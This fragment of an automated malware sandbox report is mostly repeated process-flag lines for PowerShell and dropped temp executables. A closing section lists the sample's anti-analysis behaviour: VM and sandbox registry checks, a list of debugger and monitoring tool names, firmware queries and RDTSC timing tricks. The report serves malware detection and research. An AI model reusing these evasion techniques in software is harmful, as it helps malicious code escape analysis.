                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\explorer.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Users\user\AppData\Local\Temp\1019321001\322c3dce5b.exeProcess information set: NOOPENFILEERRORBOX

                              Malware Analysis System Evasion

                              barindex
                              Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeEvasive API call chain: GetPEB, DecisionNodes, Sleepgraph_5-37125
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeEvasive API call chain: GetPEB, DecisionNodes, ExitProcessgraph_1-9710
                              Query firmware table information (likely to detect VMs)
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeSystem information queried: FirmwareTableInformation
                              Tries to detect sandboxes / dynamic malware analysis system (registry check)
                              Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                              Source: C:\Users\user\Desktop\file.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_CURRENT_USER\Software\WineJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile opened: HKEY_CURRENT_USER\Software\Wine
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeFile opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
                              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: PROCMON.EXE
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: X64DBG.EXE
                              Source: 4cdf81e042.exe, 0000002C.00000002.2937965345.00000000013C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: SYSANALYZER.EXEV
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: WINDBG.EXE
                              Source: b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmp, b7c03317c9.exe, 0000002A.00000002.2930917753.0000000000F9D000.00000040.00000001.01000000.00000014.sdmpBinary or memory string: WIRESHARK.EXE
                              Tries to detect virtualization through RDTSC time measurements
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD78EF second address: CD78F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD78F5 second address: CD7902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F5E8080F356h 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD7902 second address: CD7906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
